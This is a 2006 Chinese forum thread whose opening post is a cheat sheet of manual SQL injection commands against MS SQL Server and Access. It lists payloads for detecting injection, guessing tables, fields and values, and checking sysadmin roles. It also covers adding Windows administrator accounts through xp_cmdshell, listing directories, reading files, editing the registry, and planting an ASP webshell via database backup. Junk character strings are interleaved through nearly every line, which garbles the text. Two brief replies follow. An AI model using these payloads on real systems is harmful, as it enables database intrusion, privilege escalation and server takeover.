社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5370阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 G#N h)ff  
  2.初步判断是否是mssql ;and user>0 \UGs_5OT  
aIRCz=N  
  3.注入参数是字符'and [查询条件] and ''=' * ?rw'  
Xl2Fgg}#  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' ToCB*GlL  
:!N 5daK  
  5.判断数据库系统 t\CVL?e`  
ZdlZ,vK^.  
  ;and (select count(*) from sysobjects)>0 mssql _V1O =iu-  
Up*p*(d3  
  ;and (select count(*) from msysobjects)>0 access hrN r i$  
OlRBv foh8  
k^p|H:  
MH'S,^J  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 tKo ^A:M  
un6grvxr  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {LbcG^k  
}7g\1l\  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P@lExF*D1:  
`T{{wty  
  9.(1)猜字段的ascii值(access) `w@fxv   
X{9D fgW  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 K:V_,[gO  
}v;@1[.B  
  (2)猜字段的ascii值(mssql) nDkyo>t .  
%QVX1\>]  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 -G(z!ed  
O:+#k-?  
  10.测试权限结构(mssql) <3LyNG.  
KU"? ZI  
y!1%Kqx1,n  
s)_7*DY  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]V<[W,*(5  
uwyzxj  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Ii,e=RG>  
{|^9y]VFu  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- x5WFPY$wM  
I6M 7xn  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- GW ?.b_6*  
:tedtV ~  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3K@dW"3  
UVUbxFq:  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @%O"P9;s  
`]FA} wC  
  ;and 1=(select IS_MEMBER('db_owner'));-- {K09U^JU  
\d&j`UVY  
yj `b-^$?  
M9_ y>N[0  
  11.添加mssql和系统的帐户 mF%>pj&b  
H(lq=M0~  
  ;exec master.dbo.sp_addlogin username;-- ..Zuy|?w  
  ;exec master.dbo.sp_password null,username,password;-- b DeHU$  
!Q*.Dw()[  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9FP6Z[4  
mSY;hJi  
  ;exec master.dbo.xp_cmdshell 'net user username password S s@\'K3e  
 PQa {5"  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- KX"?3#U#Fm  
@r%[e1.  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- o`+6E q0w  
%q;3b fq@N  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- R."<he ;  
{[jcT>.3j  
9Y&n$svB  
 fv5'Bl  
  12.(1)遍历目录 M+gQN}BAr  
;'`T  
  ;create table dirs(paths varchar(100), id int) up=4B  
dFjB &#Tl  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' f h)Cz)  
Q i&!IG  
  ;and (select top 1 paths from dirs)>0 6m_Y%&   
pT>[w1Kk^  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) <?yAIhgN*  
8do]5FE  
f` 2W}|(jA  
6Hi3h{  
  (2)遍历目录 jJQ6]ucwa  
\tye:!a?;@  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- I?G m  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 H~i+: X=I  
e#:.JbJ:D  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 uH^/\  
.</d$FM JE  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 c+f~>AaI  
ctTg-J2.  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 u_dTJ, m  
ZK[4n5}  
yH;=Y1([  
` Xhj7%>  
  13.mssql中的存储过程 -N<s =  
N$aLCX  
  xp_regenumvalues 注册表根键, 子键 T6=c9f?7  
RI!!?hYm  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 g;i>nzf  
B# |w}hj  
  xp_regread 根键,子键,键值名 $ii/Q:w T"  
gGxgU$`#c  
  ;exec xp_regread @.yp IE\  
'v GrbmK  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 I5mnV<QA^  
>2x[ub%$L  
  xp_regwrite 根键,子键, 值名, 值类型, 值 Gw:8-bxS  
7"yA~e,l  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 skh6L!6*<  
b/:9^&z  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 v?,_SVgAi  
= 7d{lK  
  xp_regdeletevalue 根键,子键,值名 "a6[FqTs  
\sEq r)\k  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 SQDllG84E  
Jt\?,~,  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 &p8b4y_  
-M2c8P:.b  
\rn:/  
s$4!?b$tw  
  14.mssql的backup创建webshell )[|TxXz d  
{" woBOaA  
  use model (n;#Z,  
jAB~XaT,  
  create table cmd(str image); g,h'K  
Wz)s#  
  insert into cmd(str) values (''); _Jx.?8  
#f0J.)M  
  backup database model to disk='c:\l.asp'; bX6eNk-L  
2 DJs '"8  
7m~.V[l1  
y2;uG2IS_g  
  15.mssql内置函数 yDg`9q.ckm  
eU&[^  
  ;and (select @@version)>0 获得Windows的版本号 KC9_H>  
%JeT,{  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ekND>Qjj  
8iaP(*J  
  ;and (select user_name())>0 爆当前系统的连接用户 y!&6"l$K]  
.aV#W@iyK  
  ;and (select db_name())>0 得到当前连接的数据库 Eyv%"+>  
x ok8  
Hphvsre<  
0"o%=i;  
  16.简洁的webshell w[}5qAI5*f  
tGDsZ;3Yr  
  use model LG0+A}E=C  
a'u:1C^\  
  create table cmd(str image); C ?JcCD2  
FBJw (.Jr  
  insert into cmd(str) values (''); ZjF5*A8l  
pKJ0+mN#"  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
描述
快速回复

您目前还是游客,请 登录 或 注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五